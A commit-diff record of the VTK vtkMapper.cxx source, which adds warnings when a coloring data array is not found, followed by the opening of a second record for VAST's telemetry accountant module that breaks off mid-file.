(dataArray &&\n (this->ArrayComponent < dataArray->GetNumberOfComponents()))\n {\n scalars = vtkScalars::New();\n numScalars = dataArray->GetNumberOfTuples();\n scalars->SetNumberOfScalars(numScalars);\n if (dataArray->GetNumberOfComponents() == 1)\n {\n scalars->SetData(dataArray);\n }\n else\n { \/\/ I do not know how useful it is to color by a componenet.\n \/\/ This could probably be done with out a copy\n \/\/ by using active component.\n for (i = 0; i < numScalars; i++)\n {\n scalars->\n InsertScalar(i, dataArray->GetComponent(i, this->ArrayComponent));\n }\n }\n }\n }\n else if ( this->ScalarMode == VTK_SCALAR_MODE_USE_CELL_FIELD_DATA )\n {\n cd = this->GetInput()->GetCellData();\n if (cd)\n {\n if (this->ArrayAccessMode == VTK_GET_ARRAY_BY_ID)\n\t{\n\tdataArray = cd->GetArray(this->ArrayId);\n\t}\n else\n\t{\n\tdataArray = cd->GetArray(this->ArrayName);\n\t}\n }\n\n if (dataArray &&\n (this->ArrayComponent < dataArray->GetNumberOfComponents()))\n {\n scalars = vtkScalars::New();\n numScalars = dataArray->GetNumberOfTuples();\n scalars->SetNumberOfScalars(numScalars);\n if (dataArray->GetNumberOfComponents() == 1)\n {\n scalars->SetData(dataArray);\n }\n else\n { \/\/ I do not know how useful it is to color by a componenet.\n \/\/ This could probably be done with out a copy\n \/\/ by using active component.\n for (i = 0; i < numScalars; i++)\n {\n scalars->\n InsertScalar(i, dataArray->GetComponent(i, this->ArrayComponent));\n }\n }\n }\n }\n \n \/\/ do we have any scalars ?\n if (scalars && this->ScalarVisibility)\n {\n \/\/ if the scalars have a lookup table use it instead\n if (scalars->GetLookupTable())\n {\n this->SetLookupTable(scalars->GetLookupTable());\n }\n else\n {\n \/\/ make sure we have a lookup table\n if ( this->LookupTable == NULL )\n\t {\n\t this->CreateDefaultLookupTable();\n\t }\n this->LookupTable->Build();\n }\n\n \/\/ Setup mapper\/scalar object for color generation\n if (!this->UseLookupTableScalarRange)\n {\n this->LookupTable->SetRange(this->ScalarRange);\n }\n\n if (this->Colors)\n {\n this->Colors->UnRegister(this);\n }\n this->Colors = scalars;\n this->Colors->Register(this);\n this->Colors->InitColorTraversal(1.0, this->LookupTable, this->ColorMode);\n }\n\n else \/\/scalars not visible\n {\n if ( this->Colors )\n {\n this->Colors->UnRegister(this);\n }\n this->Colors = NULL;\n }\n \n if (((this->ScalarMode == VTK_SCALAR_MODE_USE_POINT_FIELD_DATA) ||\n (this->ScalarMode == VTK_SCALAR_MODE_USE_CELL_FIELD_DATA)) &&\n scalars)\n {\n scalars->Delete();\n }\n \n return this->Colors;\n}\n\nvoid vtkMapper::ColorByArrayComponent(int arrayNum, int component)\n{\n if (this->ArrayId == arrayNum && component == this->ArrayComponent &&\n this->ArrayAccessMode == VTK_GET_ARRAY_BY_ID)\n {\n return;\n }\n this->Modified();\n \n this->ArrayId = arrayNum;\n this->ArrayComponent = component;\n this->ArrayAccessMode = VTK_GET_ARRAY_BY_ID;\n}\n\nvoid vtkMapper::ColorByArrayComponent(char* arrayName, int component)\n{\n if (strcmp(this->ArrayName, arrayName) == 0 &&\n component == this->ArrayComponent &&\n this->ArrayAccessMode == VTK_GET_ARRAY_BY_ID)\n {\n return;\n }\n this->Modified();\n \n strcpy(this->ArrayName, arrayName);\n this->ArrayComponent = component;\n this->ArrayAccessMode = VTK_GET_ARRAY_BY_NAME;\n}\n\n\/\/ Specify a lookup table for the mapper to use.\nvoid vtkMapper::SetLookupTable(vtkScalarsToColors *lut)\n{\n if ( this->LookupTable != lut ) \n {\n if ( this->LookupTable) \n {\n this->LookupTable->UnRegister(this);\n }\n this->LookupTable = lut;\n if (lut)\n {\n lut->Register(this);\n }\n this->Modified();\n }\n}\n\nvtkScalarsToColors *vtkMapper::GetLookupTable()\n{\n if ( this->LookupTable == NULL )\n {\n this->CreateDefaultLookupTable();\n }\n return this->LookupTable;\n}\n\nvoid vtkMapper::CreateDefaultLookupTable()\n{\n if ( this->LookupTable) \n {\n this->LookupTable->UnRegister(this);\n }\n this->LookupTable = vtkLookupTable::New();\n}\n\n\/\/ Update the network connected to this mapper.\nvoid vtkMapper::Update()\n{\n if ( this->GetInput() )\n {\n this->GetInput()->Update();\n }\n}\n\n\/\/ Return the method of coloring scalar data.\nconst char *vtkMapper::GetColorModeAsString(void)\n{\n if ( this->ColorMode == VTK_COLOR_MODE_LUMINANCE )\n {\n return \"Luminance\";\n }\n else if ( this->ColorMode == VTK_COLOR_MODE_MAP_SCALARS ) \n {\n return \"MapScalars\";\n }\n else \n {\n return \"Default\";\n }\n}\n\n\/\/ Return the method for obtaining scalar data.\nconst char *vtkMapper::GetScalarModeAsString(void)\n{\n if ( this->ScalarMode == VTK_SCALAR_MODE_USE_CELL_DATA )\n {\n return \"UseCellData\";\n }\n else if ( this->ScalarMode == VTK_SCALAR_MODE_USE_POINT_DATA ) \n {\n return \"UsePointData\";\n }\n else if ( this->ScalarMode == VTK_SCALAR_MODE_USE_POINT_FIELD_DATA )\n {\n return \"UsePointFieldData\";\n }\n else if ( this->ScalarMode == VTK_SCALAR_MODE_USE_CELL_FIELD_DATA )\n {\n return \"UseCellFieldData\";\n }\n else \n {\n return \"Default\";\n }\n}\n\nvoid vtkMapper::PrintSelf(ostream& os, vtkIndent indent)\n{\n this->vtkAbstractMapper3D::PrintSelf(os,indent);\n\n if ( this->LookupTable )\n {\n os << indent << \"Lookup Table:\\n\";\n this->LookupTable->PrintSelf(os,indent.GetNextIndent());\n }\n else\n {\n os << indent << \"Lookup Table: (none)\\n\";\n }\n\n os << indent << \"Immediate Mode Rendering: \" \n << (this->ImmediateModeRendering ? \"On\\n\" : \"Off\\n\");\n os << indent << \"Global Immediate Mode Rendering: \" << \n (vtkMapperGlobalImmediateModeRendering ? \"On\\n\" : \"Off\\n\");\n\n os << indent << \"Scalar Visibility: \" \n << (this->ScalarVisibility ? \"On\\n\" : \"Off\\n\");\n\n float *range = this->GetScalarRange();\n os << indent << \"Scalar Range: (\" << range[0] << \", \" << range[1] << \")\\n\";\n\n os << indent << \"UseLookupTableScalarRange: \" << this->UseLookupTableScalarRange << \"\\n\";\n\n os << indent << \"Color Mode: \" << this->GetColorModeAsString() << endl;\n\n os << indent << \"Scalar Mode: \" << this->GetScalarModeAsString() << endl;\n\n os << indent << \"RenderTime: \" << this->RenderTime << endl;\n\n os << indent << \"Resolve Coincident Topology: \";\n if ( vtkMapperGlobalResolveCoincidentTopology == VTK_RESOLVE_OFF )\n {\n os << \"Off\" << endl;\n }\n else if ( vtkMapperGlobalResolveCoincidentTopology == VTK_RESOLVE_POLYGON_OFFSET )\n {\n os << \"Polygon Offset\" << endl;\n }\n else\n {\n os << \"Shift Z-Buffer\" << endl;\n }\n}\n<commit_msg>ENH:Notify the user that the indicated data array was not found when performing scalar coloring<commit_after>\/*=========================================================================\n\n Program: Visualization Toolkit\n Module: vtkMapper.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\nCopyright (c) 1993-2001 Ken Martin, Will Schroeder, Bill Lorensen \nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided with the distribution.\n\n * Neither name of Ken Martin, Will Schroeder, or Bill Lorensen nor the names\n of any contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\n * Modified source versions must be plainly marked as such, and must not be\n misrepresented as being the original software.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS''\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n=========================================================================*\/\n#include \"vtkMapper.h\"\n#include \"vtkLookupTable.h\"\n\n\/\/ Initialize static member that controls global immediate mode rendering\nstatic int vtkMapperGlobalImmediateModeRendering = 0;\n\n\/\/ Initialize static member that controls global coincidence resolution\nstatic int vtkMapperGlobalResolveCoincidentTopology = VTK_RESOLVE_OFF;\nstatic double vtkMapperGlobalResolveCoincidentTopologyZShift = 0.01;\nstatic float vtkMapperGlobalResolveCoincidentTopologyPolygonOffsetFactor = 1.0;\nstatic float vtkMapperGlobalResolveCoincidentTopologyPolygonOffsetUnits = 1.0;\n\n\/\/ Construct with initial range (0,1).\nvtkMapper::vtkMapper()\n{\n this->Colors = NULL;\n\n this->LookupTable = NULL;\n\n this->ScalarVisibility = 1;\n this->ScalarRange[0] = 0.0; this->ScalarRange[1] = 1.0;\n this->UseLookupTableScalarRange = 0;\n\n this->ImmediateModeRendering = 0;\n\n this->ColorMode = VTK_COLOR_MODE_DEFAULT;\n this->ScalarMode = VTK_SCALAR_MODE_DEFAULT;\n \n this->Bounds[0] = this->Bounds[2] = this->Bounds[4] = -1.0;\n this->Bounds[1] = this->Bounds[3] = this->Bounds[5] = 1.0;\n this->Center[0] = this->Center[1] = this->Center[2] = 0.0;\n\n this->RenderTime = 0.0;\n \n strcpy(this->ArrayName, \"\");\n this->ArrayId = -1;\n this->ArrayComponent = -1;\n this->ArrayAccessMode = -1;\n}\n\nvtkMapper::~vtkMapper()\n{\n if (this->LookupTable)\n {\n this->LookupTable->UnRegister(this);\n }\n if ( this->Colors != NULL )\n {\n this->Colors->UnRegister(this);\n }\n}\n\n\/\/ Get the bounds for the input of this mapper as \n\/\/ (Xmin,Xmax,Ymin,Ymax,Zmin,Zmax).\nfloat *vtkMapper::GetBounds()\n{\n static float bounds[] = {-1.0,1.0, -1.0,1.0, -1.0,1.0};\n\n if ( ! this->GetInput() ) \n {\n return bounds;\n }\n else\n {\n this->Update();\n this->GetInput()->GetBounds(this->Bounds);\n return this->Bounds;\n }\n}\n\nvtkDataSet *vtkMapper::GetInput()\n{\n if (this->NumberOfInputs < 1)\n {\n return NULL;\n }\n \n return (vtkDataSet *)(this->Inputs[0]);\n}\n\nvoid vtkMapper::SetGlobalImmediateModeRendering(int val)\n{\n if (val == vtkMapperGlobalImmediateModeRendering)\n {\n return;\n }\n vtkMapperGlobalImmediateModeRendering = val;\n}\n\nint vtkMapper::GetGlobalImmediateModeRendering()\n{\n return vtkMapperGlobalImmediateModeRendering;\n}\n\nvoid vtkMapper::SetResolveCoincidentTopology(int val)\n{\n if (val == vtkMapperGlobalResolveCoincidentTopology)\n {\n return;\n }\n vtkMapperGlobalResolveCoincidentTopology = val;\n}\n\nint vtkMapper::GetResolveCoincidentTopology()\n{\n return vtkMapperGlobalResolveCoincidentTopology;\n}\n\nvoid vtkMapper::SetResolveCoincidentTopologyToDefault()\n{\n vtkMapperGlobalResolveCoincidentTopology = VTK_RESOLVE_OFF;\n}\n\nvoid vtkMapper::SetResolveCoincidentTopologyZShift(double val)\n{\n if (val == vtkMapperGlobalResolveCoincidentTopologyZShift)\n {\n return;\n }\n vtkMapperGlobalResolveCoincidentTopologyZShift = val;\n}\n\ndouble vtkMapper::GetResolveCoincidentTopologyZShift()\n{\n return vtkMapperGlobalResolveCoincidentTopologyZShift;\n}\n\nvoid vtkMapper::SetResolveCoincidentTopologyPolygonOffsetParameters(\n float factor, float units)\n{\n if (factor == vtkMapperGlobalResolveCoincidentTopologyPolygonOffsetFactor &&\n units == vtkMapperGlobalResolveCoincidentTopologyPolygonOffsetUnits )\n {\n return;\n }\n vtkMapperGlobalResolveCoincidentTopologyPolygonOffsetFactor = factor;\n vtkMapperGlobalResolveCoincidentTopologyPolygonOffsetFactor = units;\n}\n\nvoid vtkMapper::GetResolveCoincidentTopologyPolygonOffsetParameters(\n float& factor, float& units)\n{\n factor = vtkMapperGlobalResolveCoincidentTopologyPolygonOffsetFactor;\n units = vtkMapperGlobalResolveCoincidentTopologyPolygonOffsetUnits;\n}\n\n\/\/ Overload standard modified time function. If lookup table is modified,\n\/\/ then this object is modified as well.\nunsigned long vtkMapper::GetMTime()\n{\n unsigned long mTime=this->MTime.GetMTime();\n unsigned long lutMTime;\n\n if ( this->LookupTable != NULL )\n {\n lutMTime = this->LookupTable->GetMTime();\n mTime = ( lutMTime > mTime ? lutMTime : mTime );\n }\n\n return mTime;\n}\n\nvoid vtkMapper::ShallowCopy(vtkMapper *m)\n{\n this->SetLookupTable(m->GetLookupTable());\n this->SetClippingPlanes(m->GetClippingPlanes());\n this->SetScalarVisibility(m->GetScalarVisibility());\n this->SetScalarRange(m->GetScalarRange());\n this->SetColorMode(m->GetColorMode());\n this->SetScalarMode(m->GetScalarMode());\n this->SetImmediateModeRendering(m->GetImmediateModeRendering());\n}\n\n\/\/ a side effect of this is that this->Colors is also set\n\/\/ to the return value\nvtkScalars *vtkMapper::GetColors()\n{\n vtkScalars *scalars = NULL;\n vtkDataArray *dataArray=0;\n vtkPointData *pd;\n vtkCellData *cd;\n vtkIdType i, numScalars;\n \n \/\/ make sure we have an input\n if (!this->GetInput())\n {\n return NULL;\n }\n \n \/\/ get and scalar data according to scalar mode\n if ( this->ScalarMode == VTK_SCALAR_MODE_DEFAULT )\n {\n scalars = this->GetInput()->GetPointData()->GetScalars();\n if (!scalars)\n {\n scalars = this->GetInput()->GetCellData()->GetScalars();\n }\n }\n else if ( this->ScalarMode == VTK_SCALAR_MODE_USE_POINT_DATA )\n {\n scalars = this->GetInput()->GetPointData()->GetScalars();\n }\n else if ( this->ScalarMode == VTK_SCALAR_MODE_USE_CELL_DATA )\n {\n scalars = this->GetInput()->GetCellData()->GetScalars();\n }\n else if ( this->ScalarMode == VTK_SCALAR_MODE_USE_POINT_FIELD_DATA )\n {\n pd = this->GetInput()->GetPointData();\n if (pd)\n {\n if (this->ArrayAccessMode == VTK_GET_ARRAY_BY_ID)\n\t{\n\tdataArray = pd->GetArray(this->ArrayId);\n\t}\n else\n\t{\n\tdataArray = pd->GetArray(this->ArrayName);\n\t}\n }\n \n if (dataArray &&\n (this->ArrayComponent < dataArray->GetNumberOfComponents()))\n {\n scalars = vtkScalars::New();\n numScalars = dataArray->GetNumberOfTuples();\n scalars->SetNumberOfScalars(numScalars);\n if (dataArray->GetNumberOfComponents() == 1)\n {\n scalars->SetData(dataArray);\n }\n else\n { \/\/ I do not know how useful it is to color by a componenet.\n \/\/ This could probably be done with out a copy\n \/\/ by using active component.\n for (i = 0; i < numScalars; i++)\n {\n scalars->\n InsertScalar(i, dataArray->GetComponent(i, this->ArrayComponent));\n }\n }\n }\n else\n {\n vtkWarningMacro(<<\"Data array (used for coloring) not found\");\n }\n }\n else if ( this->ScalarMode == VTK_SCALAR_MODE_USE_CELL_FIELD_DATA )\n {\n cd = this->GetInput()->GetCellData();\n if (cd)\n {\n if (this->ArrayAccessMode == VTK_GET_ARRAY_BY_ID)\n\t{\n\tdataArray = cd->GetArray(this->ArrayId);\n\t}\n else\n\t{\n\tdataArray = cd->GetArray(this->ArrayName);\n\t}\n }\n\n if (dataArray &&\n (this->ArrayComponent < dataArray->GetNumberOfComponents()))\n {\n scalars = vtkScalars::New();\n numScalars = dataArray->GetNumberOfTuples();\n scalars->SetNumberOfScalars(numScalars);\n if (dataArray->GetNumberOfComponents() == 1)\n {\n scalars->SetData(dataArray);\n }\n else\n { \/\/ I do not know how useful it is to color by a componenet.\n \/\/ This could probably be done with out a copy\n \/\/ by using active component.\n for (i = 0; i < numScalars; i++)\n {\n scalars->\n InsertScalar(i, dataArray->GetComponent(i, this->ArrayComponent));\n }\n }\n }\n else\n {\n vtkWarningMacro(<<\"Data array (used for coloring) not found\");\n }\n }\n \n \/\/ do we have any scalars ?\n if (scalars && this->ScalarVisibility)\n {\n \/\/ if the scalars have a lookup table use it instead\n if (scalars->GetLookupTable())\n {\n this->SetLookupTable(scalars->GetLookupTable());\n }\n else\n {\n \/\/ make sure we have a lookup table\n if ( this->LookupTable == NULL )\n\t {\n\t this->CreateDefaultLookupTable();\n\t }\n this->LookupTable->Build();\n }\n\n \/\/ Setup mapper\/scalar object for color generation\n if (!this->UseLookupTableScalarRange)\n {\n this->LookupTable->SetRange(this->ScalarRange);\n }\n\n if (this->Colors)\n {\n this->Colors->UnRegister(this);\n }\n this->Colors = scalars;\n this->Colors->Register(this);\n this->Colors->InitColorTraversal(1.0, this->LookupTable, this->ColorMode);\n }\n\n else \/\/scalars not visible\n {\n if ( this->Colors )\n {\n this->Colors->UnRegister(this);\n }\n this->Colors = NULL;\n }\n \n if (((this->ScalarMode == VTK_SCALAR_MODE_USE_POINT_FIELD_DATA) ||\n (this->ScalarMode == VTK_SCALAR_MODE_USE_CELL_FIELD_DATA)) &&\n scalars)\n {\n scalars->Delete();\n }\n \n return this->Colors;\n}\n\nvoid vtkMapper::ColorByArrayComponent(int arrayNum, int component)\n{\n if (this->ArrayId == arrayNum && component == this->ArrayComponent &&\n this->ArrayAccessMode == VTK_GET_ARRAY_BY_ID)\n {\n return;\n }\n this->Modified();\n \n this->ArrayId = arrayNum;\n this->ArrayComponent = component;\n this->ArrayAccessMode = VTK_GET_ARRAY_BY_ID;\n}\n\nvoid vtkMapper::ColorByArrayComponent(char* arrayName, int component)\n{\n if (strcmp(this->ArrayName, arrayName) == 0 &&\n component == this->ArrayComponent &&\n this->ArrayAccessMode == VTK_GET_ARRAY_BY_ID)\n {\n return;\n }\n this->Modified();\n \n strcpy(this->ArrayName, arrayName);\n this->ArrayComponent = component;\n this->ArrayAccessMode = VTK_GET_ARRAY_BY_NAME;\n}\n\n\/\/ Specify a lookup table for the mapper to use.\nvoid vtkMapper::SetLookupTable(vtkScalarsToColors *lut)\n{\n if ( this->LookupTable != lut ) \n {\n if ( this->LookupTable) \n {\n this->LookupTable->UnRegister(this);\n }\n this->LookupTable = lut;\n if (lut)\n {\n lut->Register(this);\n }\n this->Modified();\n }\n}\n\nvtkScalarsToColors *vtkMapper::GetLookupTable()\n{\n if ( this->LookupTable == NULL )\n {\n this->CreateDefaultLookupTable();\n }\n return this->LookupTable;\n}\n\nvoid vtkMapper::CreateDefaultLookupTable()\n{\n if ( this->LookupTable) \n {\n this->LookupTable->UnRegister(this);\n }\n this->LookupTable = vtkLookupTable::New();\n}\n\n\/\/ Update the network connected to this mapper.\nvoid vtkMapper::Update()\n{\n if ( this->GetInput() )\n {\n this->GetInput()->Update();\n }\n}\n\n\/\/ Return the method of coloring scalar data.\nconst char *vtkMapper::GetColorModeAsString(void)\n{\n if ( this->ColorMode == VTK_COLOR_MODE_LUMINANCE )\n {\n return \"Luminance\";\n }\n else if ( this->ColorMode == VTK_COLOR_MODE_MAP_SCALARS ) \n {\n return \"MapScalars\";\n }\n else \n {\n return \"Default\";\n }\n}\n\n\/\/ Return the method for obtaining scalar data.\nconst char *vtkMapper::GetScalarModeAsString(void)\n{\n if ( this->ScalarMode == VTK_SCALAR_MODE_USE_CELL_DATA )\n {\n return \"UseCellData\";\n }\n else if ( this->ScalarMode == VTK_SCALAR_MODE_USE_POINT_DATA ) \n {\n return \"UsePointData\";\n }\n else if ( this->ScalarMode == VTK_SCALAR_MODE_USE_POINT_FIELD_DATA )\n {\n return \"UsePointFieldData\";\n }\n else if ( this->ScalarMode == VTK_SCALAR_MODE_USE_CELL_FIELD_DATA )\n {\n return \"UseCellFieldData\";\n }\n else \n {\n return \"Default\";\n }\n}\n\nvoid vtkMapper::PrintSelf(ostream& os, vtkIndent indent)\n{\n this->vtkAbstractMapper3D::PrintSelf(os,indent);\n\n if ( this->LookupTable )\n {\n os << indent << \"Lookup Table:\\n\";\n this->LookupTable->PrintSelf(os,indent.GetNextIndent());\n }\n else\n {\n os << indent << \"Lookup Table: (none)\\n\";\n }\n\n os << indent << \"Immediate Mode Rendering: \" \n << (this->ImmediateModeRendering ? \"On\\n\" : \"Off\\n\");\n os << indent << \"Global Immediate Mode Rendering: \" << \n (vtkMapperGlobalImmediateModeRendering ? \"On\\n\" : \"Off\\n\");\n\n os << indent << \"Scalar Visibility: \" \n << (this->ScalarVisibility ? \"On\\n\" : \"Off\\n\");\n\n float *range = this->GetScalarRange();\n os << indent << \"Scalar Range: (\" << range[0] << \", \" << range[1] << \")\\n\";\n\n os << indent << \"UseLookupTableScalarRange: \" << this->UseLookupTableScalarRange << \"\\n\";\n\n os << indent << \"Color Mode: \" << this->GetColorModeAsString() << endl;\n\n os << indent << \"Scalar Mode: \" << this->GetScalarModeAsString() << endl;\n\n os << indent << \"RenderTime: \" << this->RenderTime << endl;\n\n os << indent << \"Resolve Coincident Topology: \";\n if ( vtkMapperGlobalResolveCoincidentTopology == VTK_RESOLVE_OFF )\n {\n os << \"Off\" << endl;\n }\n else if ( vtkMapperGlobalResolveCoincidentTopology == VTK_RESOLVE_POLYGON_OFFSET )\n {\n os << \"Polygon Offset\" << endl;\n }\n else\n {\n os << \"Shift Z-Buffer\" << endl;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * _ _____ __________ *\n * | | \/ \/ _ | \/ __\/_ __\/ Visibility *\n * | |\/ \/ __ |_\\ \\ \/ \/ Across *\n * |___\/_\/ |_\/___\/ \/_\/ Space and Time *\n * *\n * This file is part of VAST. It is subject to the license terms in the *\n * LICENSE file found in the top-level directory of this distribution and at *\n * http:\/\/vast.io\/license. No part of VAST, including this file, may be *\n * copied, modified, propagated, or distributed except according to the terms *\n * contained in the LICENSE file. *\n ******************************************************************************\/\n\n#include <cmath>\n#include <iomanip>\n#include <ios>\n#include <locale>\n\n#include \"vast\/logger.hpp\"\n\n#include <caf\/all.hpp>\n\n#include \"vast\/concept\/printable\/std\/chrono.hpp\"\n#include \"vast\/concept\/printable\/stream.hpp\"\n#include \"vast\/concept\/printable\/to_string.hpp\"\n#include \"vast\/concept\/printable\/vast\/filesystem.hpp\"\n#include \"vast\/error.hpp\"\n\n#include \"vast\/system\/accountant.hpp\"\n\n#include \"vast\/detail\/coding.hpp\"\n#include \"vast\/detail\/fill_status_map.hpp\"\n\nnamespace vast {\nnamespace system {\n\nnamespace {\n\nusing accountant_actor = accountant_type::stateful_base<accountant_state>;\nconstexpr std::chrono::seconds overview_delay(3);\n\nvoid init(accountant_actor* self, const path& filename) {\n if (!exists(filename.parent())) {\n auto t = mkdir(filename.parent());\n if (!t) {\n VAST_ERROR(self, to_string(t.error()));\n self->quit(t.error());\n return;\n }\n }\n VAST_DEBUG(self, \"opens log file:\", filename.trim(-4));\n auto& file = self->state.file;\n file.open(filename.str());\n if (!file.is_open()) {\n VAST_ERROR(self, \"failed to open file:\", filename);\n auto e = make_error(ec::filesystem_error, \"failed to open file:\", filename);\n self->quit(e);\n return;\n }\n file << \"timestamp\\thost\\tpid\\taid\\tactor_name\\tkey\\tvalue\\n\";\n if (!file)\n self->quit(make_error(ec::filesystem_error));\n VAST_DEBUG(self, \"kicks off flush loop\");\n self->send(self, flush_atom::value);\n#if VAST_LOG_LEVEL >= CAF_LOG_LEVEL_INFO\n self->delayed_send(self, overview_delay, telemetry_atom::value);\n#endif\n}\n\ntemplate <class T>\nvoid record(accountant_actor* self, const std::string& key, T x,\n time ts = std::chrono::system_clock::now()) {\n using namespace std::chrono;\n auto aid = self->current_sender()->id();\n auto node = self->current_sender()->node();\n auto& st = self->state;\n st.file << to_string(ts) << '\\t';\n for (auto byte : node.host_id())\n st.file << static_cast<int>(byte);\n st.file << std::dec << '\\t' << node.process_id() << '\\t' << aid << '\\t'\n << st.actor_map[aid] << '\\t' << key << '\\t' << std::setprecision(6)\n << x << '\\n';\n \/\/ Flush after at most 10 seconds.\n if (!st.flush_pending) {\n st.flush_pending = true;\n self->delayed_send(self, 10s, flush_atom::value);\n }\n}\n\nvoid record(accountant_actor* self, const std::string& key, duration x,\n time ts = std::chrono::system_clock::now()) {\n using namespace std::chrono;\n auto us = duration_cast<microseconds>(x).count();\n record(self, key, us, std::move(ts));\n}\n\nvoid record(accountant_actor* self, const std::string& key, time x,\n time ts = std::chrono::system_clock::now()) {\n record(self, key, x.time_since_epoch(), std::move(ts));\n}\n\n\/\/ Calculate rate in seconds resolution from nanosecond duration.\ndouble calc_rate(const measurement& m) {\n if (m.duration.count() > 0)\n return m.events * 1'000'000'000 \/ m.duration.count();\n else\n return std::numeric_limits<double>::quiet_NaN();\n}\n\n} \/\/ namespace <anonymous>\n\naccountant_state::accountant_state(accountant_actor* self) : self{self} {\n \/\/ nop\n}\n\nvoid accountant_state::command_line_heartbeat() {\n auto logger = caf::logger::current_logger();\n if (logger && logger->verbosity() >= CAF_LOG_LEVEL_INFO\n && accumulator.node.events > 0) {\n std::ostringstream oss;\n try {\n oss.imbue(std::locale(\"\"));\n } catch (const std::exception& e) {\n VAST_DEBUG(self,\n \"failed to set the locale for statistics output:\", e.what());\n }\n auto node_rate = std::round(calc_rate(accumulator.node));\n oss << \"ingested \" << accumulator.node.events << \" events at a rate of \"\n << node_rate << \" events\/sec\";\n VAST_INFO_ANON(oss.str());\n }\n accumulator = {};\n}\n\naccountant_type::behavior_type accountant(accountant_actor* self,\n const path& filename) {\n using namespace std::chrono;\n init(self, filename);\n self->set_exit_handler(\n [=](const caf::exit_msg& msg) {\n self->state.file.flush();\n self->quit(msg.reason);\n }\n );\n self->set_down_handler(\n [=](const caf::down_msg& msg) {\n VAST_DEBUG(self, \"received DOWN from\", msg.source);\n self->state.actor_map.erase(msg.source.id());\n }\n );\n return {[=](announce_atom, const std::string& name) {\n self->state.actor_map[self->current_sender()->id()] = name;\n self->monitor(self->current_sender());\n },\n [=](const std::string& key, const std::string& value) {\n VAST_TRACE(self, \"received\", key, \"from\", self->current_sender());\n record(self, key, value);\n },\n \/\/ Helpers to avoid to_string(..) in sender context.\n [=](const std::string& key, duration value) {\n VAST_TRACE(self, \"received\", key, \"from\", self->current_sender());\n record(self, key, value);\n },\n [=](const std::string& key, time value) {\n VAST_TRACE(self, \"received\", key, \"from\", self->current_sender());\n record(self, key, value);\n },\n [=](const std::string& key, int64_t value) {\n VAST_TRACE(self, \"received\", key, \"from\", self->current_sender());\n record(self, key, value);\n },\n [=](const std::string& key, uint64_t value) {\n VAST_TRACE(self, \"received\", key, \"from\", self->current_sender());\n record(self, key, value);\n },\n [=](const std::string& key, double value) {\n VAST_TRACE(self, \"received\", key, \"from\", self->current_sender());\n record(self, key, value);\n },\n [=](const report& r) {\n VAST_TRACE(self, \"received a report from\", self->current_sender());\n time ts = std::chrono::system_clock::now();\n for (const auto& [key, value] : r) {\n auto f = [&, key = key](const auto& x) {\n record(self, key, x, ts);\n };\n caf::visit(f, value);\n }\n },\n [=](const performance_report& r) {\n VAST_TRACE(self, \"received a performance report from\",\n self->current_sender());\n time ts = std::chrono::system_clock::now();\n for (const auto& [key, value] : r) {\n record(self, key + \".events\", value.events, ts);\n record(self, key + \".duration\", value.duration, ts);\n auto rate = calc_rate(value);\n if (std::isfinite(rate))\n record(self, key + \".rate\", static_cast<uint64_t>(rate), ts);\n else\n record(self, key + \".rate\", \"NaN\", ts);\n#if VAST_LOG_LEVEL >= CAF_LOG_LEVEL_INFO\n auto logger = caf::logger::current_logger();\n if (logger && logger->verbosity() >= CAF_LOG_LEVEL_INFO)\n if (key == \"node_throughput\")\n self->state.accumulator.node += value;\n#endif\n }\n },\n [=](flush_atom) {\n if (self->state.file)\n self->state.file.flush();\n self->state.flush_pending = false;\n },\n [=](status_atom) {\n using caf::put_dictionary;\n caf::dictionary<caf::config_value> result;\n result.emplace(\"log-file\", filename.str());\n auto& known = put_dictionary(result, \"known-actors\");\n for (const auto& [aid, name] : self->state.actor_map)\n known.emplace(name, aid);\n detail::fill_status_map(result, self);\n return result;\n },\n [=](telemetry_atom) {\n self->state.command_line_heartbeat();\n self->delayed_send(self, overview_delay, telemetry_atom::value);\n }};\n}\n\n} \/\/ namespace system\n} \/\/ namespace vast\n<commit_msg>Port VAST to lastet node_id API<commit_after>\/******************************************************************************\n * _ _____ __________ *\n * | | \/ \/ _ | \/ __\/_ __\/ Visibility *\n * | |\/ \/ __ |_\\ \\ \/ \/ Across *\n * |___\/_\/ |_\/___\/ \/_\/ Space and Time *\n * *\n * This file is part of VAST. It is subject to the license terms in the *\n * LICENSE file found in the top-level directory of this distribution and at *\n * http:\/\/vast.io\/license. No part of VAST, including this file, may be *\n * copied, modified, propagated, or distributed except according to the terms *\n * contained in the LICENSE file. *\n ******************************************************************************\/\n\n#include <cmath>\n#include <iomanip>\n#include <ios>\n#include <locale>\n\n#include \"vast\/logger.hpp\"\n\n#include <caf\/all.hpp>\n\n#include \"vast\/concept\/printable\/std\/chrono.hpp\"\n#include \"vast\/concept\/printable\/stream.hpp\"\n#include \"vast\/concept\/printable\/to_string.hpp\"\n#include \"vast\/concept\/printable\/vast\/filesystem.hpp\"\n#include \"vast\/error.hpp\"\n\n#include \"vast\/system\/accountant.hpp\"\n\n#include \"vast\/detail\/coding.hpp\"\n#include \"vast\/detail\/fill_status_map.hpp\"\n\nnamespace vast {\nnamespace system {\n\nnamespace {\n\nusing accountant_actor = 